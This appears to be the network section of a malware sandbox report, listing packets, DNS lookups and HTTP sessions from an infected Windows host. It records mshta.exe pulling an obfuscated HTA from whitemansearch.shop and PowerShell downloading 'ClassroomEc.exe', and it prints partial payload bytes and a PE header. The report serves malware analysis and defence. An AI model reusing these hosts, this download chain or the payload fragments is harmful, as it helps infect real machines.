Feb 20, 2024 23:46:12.880867958 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.880888939 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:13.628387928 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:13.628429890 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:13.628901958 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:13.631287098 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:13.631306887 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:13.740055084 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.740092039 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:13.740375996 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.740943909 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.740958929 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:13.943645000 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:13.944057941 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.944082022 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:13.945111990 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:13.945256948 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.948039055 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.948122978 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:13.948225021 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:13.960869074 CET	49703	443	192.168.2.5	23.1.237.91
Feb 20, 2024 23:46:13.993904114 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.113400936 CET	443	49703	23.1.237.91	192.168.2.5
Feb 20, 2024 23:46:14.124397993 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.124434948 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.124460936 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.124483109 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.124492884 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.124505043 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.124532938 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.124639034 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.126868963 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.126913071 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.127365112 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.131892920 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.132123947 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.136962891 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.136967897 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.137281895 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.138820887 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.138834000 CET	443	49735	142.250.80.36	192.168.2.5
Feb 20, 2024 23:46:14.138855934 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.138925076 CET	49735	443	192.168.2.5	142.250.80.36
Feb 20, 2024 23:46:14.261822939 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.664434910 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.709908962 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989362955 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989389896 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989396095 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989432096 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989444971 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989451885 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989470959 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.989484072 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989546061 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.989546061 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.989624977 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989631891 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.989840031 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:14.989850044 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:14.990245104 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:15.018124104 CET	49733	443	192.168.2.5	40.68.123.157
Feb 20, 2024 23:46:15.018148899 CET	443	49733	40.68.123.157	192.168.2.5
Feb 20, 2024 23:46:19.654566050 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:19.654642105 CET	443	49710	104.21.79.229	192.168.2.5
Feb 20, 2024 23:46:19.654936075 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:20.951469898 CET	49710	443	192.168.2.5	104.21.79.229
Feb 20, 2024 23:46:20.951500893 CET	443	49710	104.21.79.229	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2024 23:45:57.217767000 CET	57781	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:45:57.834341049 CET	53	57781	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:03.993969917 CET	59711	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:03.995978117 CET	62357	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:04.085388899 CET	53	55381	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:04.089607954 CET	53	59711	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:04.091403961 CET	53	62357	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:04.218741894 CET	59691	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:04.219001055 CET	52299	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:04.219757080 CET	55154	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:04.220041037 CET	65344	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:04.306279898 CET	53	59691	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:04.306418896 CET	53	52299	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:04.307626009 CET	53	55154	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:04.308068991 CET	53	65344	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:05.170689106 CET	53	55320	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:05.290501118 CET	58948	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:05.290750980 CET	59091	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:05.381238937 CET	53	58948	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:05.381263018 CET	53	59091	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:07.078342915 CET	53	60268	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:08.150247097 CET	53	54220	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:09.185672998 CET	53	62278	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:13.644565105 CET	52428	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:13.645235062 CET	55919	53	192.168.2.5	1.1.1.1
Feb 20, 2024 23:46:13.731121063 CET	53	60534	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:13.732913017 CET	53	55919	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:13.733159065 CET	53	52428	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:22.351788044 CET	53	63598	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:41.120820999 CET	53	56243	1.1.1.1	192.168.2.5
Feb 20, 2024 23:46:45.119148970 CET	64239	274	192.168.2.5	192.168.2.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 20, 2024 23:45:57.217767000 CET	192.168.2.5	1.1.1.1	0xbac7	Standard query (0)	whitemansearch.shop	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:03.993969917 CET	192.168.2.5	1.1.1.1	0x2799	Standard query (0)	2no.co	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:03.995978117 CET	192.168.2.5	1.1.1.1	0x6004	Standard query (0)	2no.co	65	IN (0x0001)	false
Feb 20, 2024 23:46:04.218741894 CET	192.168.2.5	1.1.1.1	0x9a68	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:04.219001055 CET	192.168.2.5	1.1.1.1	0xb330	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Feb 20, 2024 23:46:04.219757080 CET	192.168.2.5	1.1.1.1	0x33fd	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:04.220041037 CET	192.168.2.5	1.1.1.1	0xcd89	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Feb 20, 2024 23:46:05.290501118 CET	192.168.2.5	1.1.1.1	0xe2ee	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:05.290750980 CET	192.168.2.5	1.1.1.1	0xb4fc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 20, 2024 23:46:13.644565105 CET	192.168.2.5	1.1.1.1	0x57c1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:13.645235062 CET	192.168.2.5	1.1.1.1	0xec62	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 20, 2024 23:45:57.834341049 CET	1.1.1.1	192.168.2.5	0xbac7	No error (0)	whitemansearch.shop		5.101.153.86	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:04.089607954 CET	1.1.1.1	192.168.2.5	0x2799	No error (0)	2no.co		104.21.79.229	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:04.089607954 CET	1.1.1.1	192.168.2.5	0x2799	No error (0)	2no.co		172.67.149.76	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:04.091403961 CET	1.1.1.1	192.168.2.5	0x6004	No error (0)	2no.co			65	IN (0x0001)	false
Feb 20, 2024 23:46:04.306279898 CET	1.1.1.1	192.168.2.5	0x9a68	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2024 23:46:04.306279898 CET	1.1.1.1	192.168.2.5	0x9a68	No error (0)	clients.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:04.306418896 CET	1.1.1.1	192.168.2.5	0xb330	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2024 23:46:04.307626009 CET	1.1.1.1	192.168.2.5	0x33fd	No error (0)	accounts.google.com		142.250.31.84	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:05.381238937 CET	1.1.1.1	192.168.2.5	0xe2ee	No error (0)	www.google.com		142.250.81.228	A (IP address)	IN (0x0001)	false
Feb 20, 2024 23:46:05.381263018 CET	1.1.1.1	192.168.2.5	0xb4fc	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 20, 2024 23:46:13.732913017 CET	1.1.1.1	192.168.2.5	0xec62	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 20, 2024 23:46:13.733159065 CET	1.1.1.1	192.168.2.5	0x57c1	No error (0)	www.google.com		142.250.80.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

2no.co

accounts.google.com

clients2.google.com

www.google.com

https:

slscr.update.microsoft.com

update.googleapis.com

clients1.google.com

whitemansearch.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	5.101.153.86	80	7216	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Feb 20, 2024 23:45:58.066555977 CET	328	OUT	GET /setup HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: whitemansearch.shop Connection: Keep-Alive
Feb 20, 2024 23:45:58.322794914 CET	1286	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Tue, 20 Feb 2024 22:45:58 GMT Content-Length: 73556 Connection: keep-alive Keep-Alive: timeout=30 Last-Modified: Tue, 20 Feb 2024 17:49:05 GMT ETag: "11f54-611d3d389af7b" Accept-Ranges: bytes Data Raw: b2 70 2b da 3d 4c 4c d3 60 f1 69 5a 48 e2 cf 14 f0 67 98 bf 80 54 b5 9e 1a 24 45 04 4c 75 5e aa f5 20 ce c4 d1 f2 ab 78 2e 7a 20 3c f4 b4 8d f2 ca a6 01 c6 38 c3 03 5e ba 8d bf 18 06 47 86 ea 93 be 65 27 14 0b 42 fd bc 20 91 06 33 79 aa 66 96 52 39 a6 73 97 72 31 1c 70 09 44 32 92 71 e6 f3 35 a8 35 4f 66 de bf 63 04 0a 18 32 fd 2a 41 e3 59 82 b4 0e e0 77 fb 4c 33 0a a3 01 fe ca 29 ae aa 13 fe d0 74 17 30 73 7a 42 6f 8d 59 ff 1f 46 c8 61 d9 10 bd d8 13 be ac e8 1b 5c 3a bd 65 39 e1 69 87 ea 2c 70 6e 42 52 40 93 9d 07 6e f3 34 ea 5d 39 9d f1 18 f0 d2 00 3f 23 8c fb d3 38 bc dd 36 ab ef 77 35 19 57 f2 97 be 7d 44 75 b6 3e f5 e6 71 dd 84 c8 47 c8 78 b4 ea ec 4c e2 46 7e 07 d7 bf d1 c2 03 bd b5 44 e1 aa 59 5a 73 8e 8a 89 e5 96 15 62 5b 38 15 ee e3 76 c2 4b 2d 0b 10 51 40 75 6d b6 e4 7b f1 29 bb 99 a2 1d ee 6e 05 26 5f 62 67 4b 30 1b ab 9e aa e3 df 8c fa 6a 16 d6 99 08 1a fe 20 d4 a4 6a a5 eb a6 c2 95 f7 00 75 71 9b eb ca a3 c5 20 24 ca ce 0b 01 9b 65 2e 51 82 cc 84 e5 54 07 06 8b bd fd a6 45 75 e8 09 b2 e3 6a 1a 5e 7f 4b 32 d4 e7 f5 33 51 c8 a3 ce 3f bc 55 40 c9 72 1a 21 6a 95 5f 0c a6 1e db af e1 c5 58 1d 31 4a cf d2 36 99 b0 fd 5e d3 b4 c3 1a 2e 66 88 1f a8 40 3f c9 49 b0 c9 1f 3f 8b b5 0c 46 52 8c 6f 86 9c f5 ed 82 09 2f c2 1c c2 97 e0 9b f2 78 b8 53 8f 39 85 18 54 e8 9a 06 b2 f7 0d fa f1 18 80 28 53 93 92 71 9b 9d 9e 10 7d ad 86 18 e9 83 4c 13 fc b9 b6 19 07 56 32 b4 5b e7 d0 12 21 c7 2a aa 16 b7 48 5e e6 47 b8 f2 9b 74 9b a7 61 81 1c 2e aa f9 fe 38 61 67 21 fc 61 dd 15 b4 cc 8b ee b5 82 dc 01 31 3b ee 2d b5 00 c4 7e 92 bb 8a 52 d9 ca a1 68 27 c9 f2 48 af 96 4b fc 08 31 04 25 0f 85 e6 24 84 7f ea f2 bc cc 48 37 9d e9 8e 41 d6 8a 3c e9 2a 22 c7 eb 8f 94 52 9b f0 f1 25 84 fc 9e 6e 0d d5 65 cd 5a df ae ac 5b 81 ba ab c5 07 09 25 7d f5 1a fa ec be fa 95 f0 2c 4f 02 cb a6 c3 3a fe 7b 81 6c 71 bd e1 09 7b 76 6b 6a d5 e8 8d 93 e6 cb a8 8f e2 a4 81 4f db d0 dd 2d 8f ac e1 b4 bd 7f ad 4a 86 9d b4 c0 13 10 7e 76 52 90 bf 07 9f bc 1b ff fe 34 58 59 f9 31 90 a0 df b3 79 cf 95 b6 ac 55 3b 43 0c 48 16 e7 7c d1 25 0b fc 4a 10 d5 8e d3 90 e1 b6 89 27 53 50 55 0c 14 e0 5f 96 af e0 9c e3 6a cc 5b af d3 e9 16 b8 87 34 ee 35 45 8f 0a 25 a6 3e b4 00 22 2e e7 f2 b7 3b 01 07 1c 3a 75 2a 60 67 a6 08 32 24 bd f7 9f d1 9f 1e 62 20 c7 85 d5 3a f0 70 2c 9c c1 3c e4 69 f8 97 e7 0f 9b 4c be c3 d4 de e9 01 f2 82 81 bc 60 50 8e c8 90 97 74 7c 31 e2 4a 04 fe c4 a5 69 23 c9 2b 25 0f 90 36 53 60 9f 4b e8 9c d3 47 6e ef 70 3b 71 ae 1b d9 61 22 6b dd b9 02 ba c4 10 39 7f dd 29 56 5b ac d0 1a 3b 68 f0 4b 8c e0 5d 9a db 14 8e 88 34 bb 08 ef ca 03 a4 b2 7d 50 a5 da 3a ae 1c f5 1e 17 94 c3 6a 56 73 b3 e8 15 96 8b 80 1e 26 a5 36 87 04 c4 d5 39 8c 58 07 1e 9d ea c3 15 10 dd c3 67 7b c3 80 ca 1e dd 48 54 07 b5 6c 18 32 5e 29 00 a4 b3 a9 57 20 e5 8b 3c bc 4c b9 88 f0 d2 04 b8 c7 18 a3 63 24 6b 69 27 7c 80 31 d7 eb ef ec 3e c1 c2 71 5d 33 6c 47 95 37 44 0e d2 23 bf 64 34 b0 b3 50 19 ba c6 db 38 4a 82 da 9f b3 b4 50 cc 5f 7a c7 2d 61 a7 85 5b d0 0d 2b e0 5d 97 03 bc 1b fd 26 37 9e d2 84 fa e6 38 12 b1 91 a8 e2 83 f3 41 72 a9 f8 37 d2 09 2e f5 49 ad 9b fb da b3 7f 1d 83 b6 8e 18 2e Data Ascii: p+=LL`iZHgT$ELu^ x.z <8^Ge'B 3yfR9sr1pD2q55Ofc2AYwL3)t0szBoYFa\:e9i,pnBR@n4]9?#86w5W}Du>qGxLF~DYZsb[8vK-Q@um{)n&_bgK0j juq $e.QTEuj^K23Q?U@r!j_X1J6^.f@?I?FRo/xS9T(Sq}LV2[!H^Gta.8ag!a1;-~Rh'HK1%$H7A<"R%neZ[%},O:{lq{vkjO-J~vR4XY1yU;CH\|%J'SPU_j[45E%>".;:u`g2$b :p,<iL`Pt\|1Ji#+%6S`KGnp;qa"k9)V[;hK]4}P:jVs&69Xg{HTl2^)W <Lc$ki'\|1>q]3lG7D#d4P8JP_z-a[+]&78Ar7.I.
Feb 20, 2024 23:45:58.322833061 CET	1286	IN	Data Raw: 8c f6 cc 46 28 94 d3 c9 27 2b a8 ec 1c 24 5a c4 e4 2a 1d 09 a9 89 d6 5e eb 5d 5f 32 73 25 2b f4 db 13 e5 b2 2b f0 a9 74 5a 2b 21 81 f3 0f be 8e 24 59 9e 8b 70 0f 85 03 20 6d 5b ca 34 a1 56 02 ff b3 11 08 3e a8 99 f3 81 a8 ae 7d 68 54 6b db 9f d1 Data Ascii: F('+$Z*^]_2s%++tZ+!$Yp m[4V>}hTk@@O\|a+c;{_.Ez\_hI+ZiG%#<eKg^l_QCrO J$+u.^'qo"ZHwOJ~Tl<WT
Feb 20, 2024 23:45:58.322855949 CET	1286	IN	Data Raw: 66 cc e7 eb b1 1b e9 c7 f3 c2 db 8e 9c bc a5 ac a8 b2 9d f9 8a 9a 49 11 19 2c 42 d9 3f 35 64 83 5c 17 ef 8d c9 24 1c 0e d9 50 89 f3 2d d0 32 65 c6 ce 9e 55 90 91 68 cc 82 d5 d1 84 d8 10 88 be 5e 58 32 85 cd 18 e2 84 95 8e 1f 3a 10 56 e3 49 f9 dd Data Ascii: fI,B?5d\$P-2eUh^X2:VIp"R6r.,(Neh1XUrELEc{OXf;Fo4vk>uWC0fzwvXF;q1F$~pGc\p.Sv&X3
Feb 20, 2024 23:45:58.322876930 CET	1286	IN	Data Raw: 0a 80 b5 e4 7d 0e 63 10 58 9e f8 34 64 6c 15 84 6d c4 05 4f 24 53 3b 3f 57 38 df 12 6a 96 15 80 d9 8c d7 d3 e9 f3 8a a0 6c 27 3a b7 c8 a7 43 0b 8e f6 95 34 6c 23 f7 b7 44 76 8d 45 2f 50 a6 c1 88 77 5b d8 94 41 9a 79 39 64 e2 fd 18 84 76 af f4 d3 Data Ascii: }cX4dlmO$S;?W8jl':C4l#DvE/Pw[Ay9dvsseEqy.QLjwL\@P[3dCt&}U%b[8usPM'5y\|j{X0v/8bXc.0v{7Lc;b5r~
Feb 20, 2024 23:45:58.322899103 CET	1286	IN	Data Raw: 46 5a 50 5c 3e ac 11 87 a4 a6 70 00 9b dc 44 a1 23 0b 03 d9 aa 29 be e2 b2 27 2a d5 3e 66 2c 7b 59 99 8e 68 42 a4 6a fa 09 dd c1 f9 ae 7a 54 89 fc 04 ed ea d1 a6 25 1c 9b 6e a9 16 82 3c 49 3d 79 f4 a7 02 4d db 5f 7f a0 08 d0 cc 68 c5 33 38 d2 a0 Data Ascii: FZP\>pD#)'*>f,{YhBjzT%n<I=yM_h389xBsrSxR; nIY:qDb7IM8FzeejHp`8 \|\|>gs='yg}KPB'>;lwBy-\|%
Feb 20, 2024 23:45:58.322921038 CET	1286	IN	Data Raw: 6c b9 c0 24 36 39 2a e4 2c 40 73 30 55 66 dc a0 86 25 7b 33 60 70 85 75 a1 1d 14 84 20 6f 55 63 77 ca d3 95 11 8e 2a 54 51 9d 81 d4 28 c0 8d 3f a9 e0 a7 c4 c4 00 9d fc 33 4a 82 19 25 a5 c3 bc ea 0f b9 8b 93 47 8f f8 fa 26 e1 c2 ee b1 4d e1 8f d4 Data Ascii: l$69,@s0Uf%{3`pu oUcwTQ(?3J%G&M?w,a.aQQXoA_5)4(yXPjU{(PmbSX58eV\p^#;tA~_=R/xda5
Feb 20, 2024 23:45:58.322942019 CET	1286	IN	Data Raw: 6e 98 81 57 3d f0 1f 21 ad 73 72 49 02 6f 23 0f 4f 34 b6 69 20 58 3b 7c 1a c5 79 95 72 7c fc ac 70 81 0f 6a 1d d8 34 aa 84 74 70 ee 35 14 d5 e4 3d 0a 72 d7 d2 74 35 16 5c 05 3d 77 76 89 ae 30 76 c5 d8 81 5f b9 f1 77 ff 0c e5 ac e7 4d 46 05 ef 94 Data Ascii: nW=!srIo#O4i X;\|yr\|pj4tp5=rt5\=wv0v_wMFXg%K3@wo;T/70G&P5eCNNlXb4P~'^>9m\osyiRk\|& BoG\|m%-d8pa)GRX
Feb 20, 2024 23:45:58.322963953 CET	1286	IN	Data Raw: 20 10 2b d4 b6 c8 eb 5f 39 cd 1d 6d 31 fa 1e 46 a1 c7 46 63 16 d7 14 7f a8 c0 c3 15 81 31 07 a6 fe 6f 95 6e 2e ac 32 d2 c3 8a c6 ff da 81 6a 82 97 97 96 ac 5a d3 fc 48 fb ab 2c f5 04 d6 dd 08 c5 77 6f c2 64 b0 17 f4 94 73 a0 8c 10 14 a5 26 55 41 Data Ascii: +_9m1FFc1on.2jZH,wods&UA}[K*sMs=:b3o7Xli+DN=tVRB"iCe\|zQ7Z-@s&LJ(FR~$wt/h-p4af0ao4K"_
Feb 20, 2024 23:45:58.322987080 CET	1286	IN	Data Raw: d9 e1 27 44 23 62 18 fc e6 cd 05 a4 85 08 ea ba a7 99 30 d0 74 27 50 cf a8 e5 66 47 1d bd 34 5f a7 17 3b 7b f9 20 7a f6 bd 5e 64 48 fc 30 bf 86 24 b8 4e ff 55 14 0f b2 91 58 9c 3e fb d1 df 29 98 a6 fc 6e cd 6e c0 86 1f 39 12 15 c2 08 d3 77 25 e0 Data Ascii: 'D#b0t'PfG4_;{ z^dH0$NUX>)nn9w%"do5;;V3Q%zcifD>%Y\|C&lmUa_">Ku2ci/DAX"_y:Y/1}n=":}d"Eh[Cy1${%u
Feb 20, 2024 23:45:58.323010921 CET	1286	IN	Data Raw: 65 22 20 53 48 4f 57 49 4e 54 41 53 4b 42 41 52 20 3d 20 22 6e 6f 22 20 3e 03 b9 86 d1 77 13 d1 a1 c3 a9 cc 3b 34 f9 ca 49 71 d7 36 06 bf a5 b4 ce 4c 3b b1 c7 17 ec 29 2b 13 01 94 75 58 19 a4 87 18 73 3d 80 cd e9 32 a0 36 fb aa f3 e2 1e c5 5d 05 Data Ascii: e" SHOWINTASKBAR = "no" >w;4Iq6L;)+uXs=26]<a(2dUW2Kg4cB5I;6oh&f,;R20z!3OyoKV3-Ob5t@t5zQ)y^?p5EdNK.U^}lrJ^+!VBb
Feb 20, 2024 23:45:58.540712118 CET	1286	IN	Data Raw: 65 2c 72 62 2c 72 62 2c 79 70 2c 6c 65 2c 72 62 2c 72 4b 2c 72 62 2c 6c 65 2c 72 62 2c 72 62 2c 50 54 2c 6c 65 2c 72 62 2c 77 6f 2c 72 4b 2c 6c 65 2c 72 62 2c 79 70 2c 72 62 2c 6c 65 2c 72 62 2c 72 4b 2c 72 62 2c 6c 65 2c 72 62 2c 49 7a 2c 50 54 Data Ascii: e,rb,rb,yp,le,rb,rK,rb,le,rb,rb,PT,le,rb,wo,rK,le,rb,yp,rb,le,rb,rK,rb,le,rb,Iz,PT,le,rb,yp,MY,le,rb,yp,QZ,le,rb,wo,rK,le,rb,yp,PT,le,rb,yp,Iz,le,rb,yp,QZ,le,rb,wo,PT,le,rb,dJ,yp,le,rb,yp,Iz,le,rb,wo,rK,le,rb,wo,MY,le,rb,rK,rb,le,rb,rb,PT,le,r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49719	5.101.153.86	80	7488	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Feb 20, 2024 23:46:06.394058943 CET	84	OUT	GET /ClassroomEc.exe HTTP/1.1 Host: whitemansearch.shop Connection: Keep-Alive
Feb 20, 2024 23:46:06.610214949 CET	1286	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Tue, 20 Feb 2024 22:46:06 GMT Content-Type: application/octet-stream Content-Length: 1212711 Last-Modified: Tue, 20 Feb 2024 15:43:47 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "65d4c8b3-128127" Expires: Thu, 21 Mar 2024 22:46:06 GMT Cache-Control: max-age=2592000 Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 1f 00 94 82 5b 61 fa d1 5b 61 fa d1 5b 61 fa d1 52 19 7e d1 59 61 fa d1 52 19 6f d1 5c 61 fa d1 52 19 79 d1 4d 61 fa d1 52 19 69 d1 4a 61 fa d1 5b 61 fb d1 98 61 fa d1 34 17 64 d1 59 61 fa d1 34 17 50 d1 5f 61 fa d1 34 17 51 d1 6a 61 fa d1 34 17 60 d1 5a 61 fa d1 34 17 67 d1 5a 61 fa d1 52 69 63 68 5b 61 fa d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b3 be 2e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 7a 02 00 00 ba 00 00 00 00 00 00 f8 7b 02 00 00 10 00 00 00 90 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 03 00 00 04 00 00 f5 8d 12 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 b5 02 00 b4 00 00 00 00 00 03 00 51 40 00 00 00 00 00 00 00 00 00 00 3f 59 12 00 e8 27 00 00 00 50 03 00 38 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 02 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1f 78 02 00 00 10 00 00 00 7a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6a 35 00 00 00 90 02 00 00 36 00 00 00 7e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 2b 00 00 00 d0 02 00 00 06 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 51 40 00 00 00 00 03 00 00 42 00 00 00 ba 02 00 00 00 00 00 00 00 00 00 00 00 00 00 